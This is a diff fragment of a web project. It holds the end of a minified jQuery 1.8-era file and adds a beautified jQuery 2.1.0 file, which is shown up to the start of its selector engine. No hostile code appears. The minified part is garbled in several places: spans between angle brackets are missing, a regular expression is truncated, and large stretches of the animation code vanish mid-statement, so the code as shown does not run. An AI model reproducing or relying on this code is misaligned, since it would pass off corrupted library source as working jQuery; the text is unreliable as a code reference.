this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1>");try{for(;r1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]===""&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("
").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window); \ No newline at end of file diff --git a/public/static/handle/js/jquery-2.1.0.min.js b/public/static/handle/js/jquery-2.1.0.min.js new file mode 100644 index 0000000..69f72aa --- /dev/null +++ b/public/static/handle/js/jquery-2.1.0.min.js @@ -0,0 +1,3092 @@ +/*! jQuery v2.1.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license +//@ sourceMappingURL=jquery-2.1.0.min.map +*/ +! function(a, b) { + "object" == typeof module && "object" == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) { + if (!a.document) throw new Error("jQuery requires a window with a document"); + return b(a) + } : b(a) +}("undefined" != typeof window ? window : this, function(a, b) { + var c = [], + d = c.slice, + e = c.concat, + f = c.push, + g = c.indexOf, + h = {}, + i = h.toString, + j = h.hasOwnProperty, + k = "".trim, + l = {}, + m = a.document, + n = "2.1.0", + o = function(a, b) { + return new o.fn.init(a, b) + }, + p = /^-ms-/, + q = /-([\da-z])/gi, + r = function(a, b) { + return b.toUpperCase() + }; + o.fn = o.prototype = { + jquery: n, + constructor: o, + selector: "", + length: 0, + toArray: function() { + return d.call(this) + }, + get: function(a) { + return null != a ? 0 > a ? this[a + this.length] : this[a] : d.call(this) + }, + pushStack: function(a) { + var b = o.merge(this.constructor(), a); + return b.prevObject = this, b.context = this.context, b + }, + each: function(a, b) { + return o.each(this, a, b) + }, + map: function(a) { + return this.pushStack(o.map(this, function(b, c) { + return a.call(b, c, b) + })) + }, + slice: function() { + return this.pushStack(d.apply(this, arguments)) + }, + first: function() { + return this.eq(0) + }, + last: function() { + return this.eq(-1) + }, + eq: function(a) { + var b = this.length, + c = +a + (0 > a ? b : 0); + return this.pushStack(c >= 0 && b > c ? [this[c]] : []) + }, + end: function() { + return this.prevObject || this.constructor(null) + }, + push: f, + sort: c.sort, + splice: c.splice + }, o.extend = o.fn.extend = function() { + var a, b, c, d, e, f, g = arguments[0] || {}, + h = 1, + i = arguments.length, + j = !1; + for ("boolean" == typeof g && (j = g, g = arguments[h] || {}, h++), "object" == typeof g || o.isFunction(g) || (g = {}), h === i && (g = this, h--); i > h; h++) + if (null != (a = arguments[h])) + for (b in a) c = g[b], d = a[b], g !== d && (j && d && (o.isPlainObject(d) || (e = o.isArray(d))) ? (e ? (e = !1, f = c && o.isArray(c) ? c : []) : f = c && o.isPlainObject(c) ? c : {}, g[b] = o.extend(j, f, d)) : void 0 !== d && (g[b] = d)); + return g + }, o.extend({ + expando: "jQuery" + (n + Math.random()).replace(/\D/g, ""), + isReady: !0, + error: function(a) { + throw new Error(a) + }, + noop: function() {}, + isFunction: function(a) { + return "function" === o.type(a) + }, + isArray: Array.isArray, + isWindow: function(a) { + return null != a && a === a.window + }, + isNumeric: function(a) { + return a - parseFloat(a) >= 0 + }, + isPlainObject: function(a) { + if ("object" !== o.type(a) || a.nodeType || o.isWindow(a)) return !1; + try { + if (a.constructor && !j.call(a.constructor.prototype, "isPrototypeOf")) return !1 + } catch (b) { + return !1 + } + return !0 + }, + isEmptyObject: function(a) { + var b; + for (b in a) return !1; + return !0 + }, + type: function(a) { + return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? h[i.call(a)] || "object" : typeof a + }, + globalEval: function(a) { + var b, c = eval; + a = o.trim(a), a && (1 === a.indexOf("use strict") ? (b = m.createElement("script"), b.text = a, m.head.appendChild(b).parentNode.removeChild(b)) : c(a)) + }, + camelCase: function(a) { + return a.replace(p, "ms-").replace(q, r) + }, + nodeName: function(a, b) { + return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase() + }, + each: function(a, b, c) { + var d, e = 0, + f = a.length, + g = s(a); + if (c) { + if (g) { + for (; f > e; e++) + if (d = b.apply(a[e], c), d === !1) break + } else + for (e in a) + if (d = b.apply(a[e], c), d === !1) break + } else if (g) { + for (; f > e; e++) + if (d = b.call(a[e], e, a[e]), d === !1) break + } else + for (e in a) + if (d = b.call(a[e], e, a[e]), d === !1) break; return a + }, + trim: function(a) { + return null == a ? "" : k.call(a) + }, + makeArray: function(a, b) { + var c = b || []; + return null != a && (s(Object(a)) ? o.merge(c, "string" == typeof a ? [a] : a) : f.call(c, a)), c + }, + inArray: function(a, b, c) { + return null == b ? -1 : g.call(b, a, c) + }, + merge: function(a, b) { + for (var c = +b.length, d = 0, e = a.length; c > d; d++) a[e++] = b[d]; + return a.length = e, a + }, + grep: function(a, b, c) { + for (var d, e = [], f = 0, g = a.length, h = !c; g > f; f++) d = !b(a[f], f), d !== h && e.push(a[f]); + return e + }, + map: function(a, b, c) { + var d, f = 0, + g = a.length, + h = s(a), + i = []; + if (h) + for (; g > f; f++) d = b(a[f], f, c), null != d && i.push(d); + else + for (f in a) d = b(a[f], f, c), null != d && i.push(d); + return e.apply([], i) + }, + guid: 1, + proxy: function(a, b) { + var c, e, f; + return "string" == typeof b && (c = a[b], b = a, a = c), o.isFunction(a) ? (e = d.call(arguments, 2), f = function() { + return a.apply(b || this, e.concat(d.call(arguments))) + }, f.guid = a.guid = a.guid || o.guid++, f) : void 0 + }, + now: Date.now, + support: l + }), o.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(a, b) { + h["[object " + b + "]"] = b.toLowerCase() + }); + + function s(a) { + var b = a.length, + c = o.type(a); + return "function" === c || o.isWindow(a) ? !1 : 1 === a.nodeType && b ? !0 : "array" === c || 0 === b || "number" == typeof b && b > 0 && b - 1 in a + } + var t = function(a) { + var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s = "sizzle" + -new Date, + t = a.document, + u = 0, + v = 0, + w = eb(), + x = eb(), + y = eb(), + z = function(a, b) { + return a === b && (j = !0), 0 + }, + A = "undefined", + B = 1 << 31, + C = {}.hasOwnProperty, + D = [], + E = D.pop, + F = D.push, + G = D.push, + H = D.slice, + I = D.indexOf || function(a) { + for (var b = 0, c = this.length; c > b; b++) + if (this[b] === a) return b; + return -1 